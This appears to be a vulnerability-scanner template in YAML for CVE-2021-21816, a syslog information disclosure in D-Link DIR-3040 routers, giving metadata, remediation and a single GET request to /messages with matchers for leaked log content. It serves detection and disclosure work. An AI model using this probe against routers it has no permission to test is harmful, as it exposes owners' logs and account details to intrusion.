47 lines
1.7 KiB
YAML
47 lines
1.7 KiB
YAML
id: CVE-2021-21816
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info:
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name: D-Link DIR-3040 1.13B03 - Information Disclosure
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author: gy741
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severity: medium
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description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
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impact: |
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An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.
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remediation: |
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Upgrade the router firmware to the latest version provided by D-Link.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21816
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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cvss-score: 4.3
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cve-id: CVE-2021-21816
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cwe-id: CWE-200
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epss-score: 0.00255
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epss-percentile: 0.6322
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cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: dlink
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product: dir-3040_firmware
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tags: cve,cve2021,dlink,exposure,router,syslog
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http:
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- method: GET
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path:
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- "{{BaseURL}}/messages"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "syslog:"
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- "admin"
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- "/etc_ro/lighttpd/www"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a0048304602210082dc31389a86be66957e057dd522035b4066992ccbcb81583cdf15d4ea5bc093022100d2e6283711f33aa8d8a3591b2afcaa7ee92e501818d9975ff87d3101f627e0ae:922c64590222798bb761d5b6d8e72950 |